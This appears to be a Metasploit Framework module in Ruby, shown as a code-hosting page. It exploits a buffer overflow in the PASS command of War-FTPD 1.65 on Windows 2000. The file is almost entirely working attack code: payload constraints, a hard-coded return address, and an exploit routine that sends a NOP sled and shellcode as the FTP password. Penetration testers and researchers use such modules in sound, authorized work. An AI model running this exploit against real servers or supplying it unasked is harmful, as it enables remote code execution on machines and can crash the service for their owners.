84 lines
2.1 KiB
Ruby
84 lines
2.1 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Ftp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'War-FTPD 1.65 Password Overflow',
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'Description' => %q{
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This exploits the buffer overflow found in the PASS command
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in War-FTPD 1.65. This particular module will only work
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reliably against Windows 2000 targets. The server must be
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configured to allow anonymous logins for this exploit to
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succeed. A failed attempt will bring down the service
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completely.
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},
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'Author' => 'hdm',
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'License' => BSD_LICENSE,
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'References' =>
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[
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[ 'CVE', '1999-0256'],
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[ 'OSVDB', '875' ],
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[ 'BID', '10078' ],
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[ 'URL', 'http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process'
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},
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'Payload' =>
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{
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'Space' => 424,
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'BadChars' => "\x00\x0a\x0d\x40",
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'StackAdjustment' => -3500,
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'Compat' =>
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{
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'ConnectionType' => "-find"
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}
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},
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'Targets' =>
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[
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# Target 0
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[
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'Windows 2000',
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{
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'Platform' => 'win',
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'Ret' => 0x5f4e772b # jmp ebx in the included MFC42.DLL
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},
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Mar 19 1998'))
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end
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def exploit
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connect
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print_status("Trying target #{target.name}...")
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buf = make_nops(566) + payload.encoded
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buf[558, 2] = "\xeb\x06"
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buf[562, 4] = [ target.ret ].pack('V')
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# Send USER Command
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send_user(datastore['FTPUSER'])
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# Send PASS Command
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send_cmd(['PASS', buf], false)
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handler
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disconnect
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end
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end
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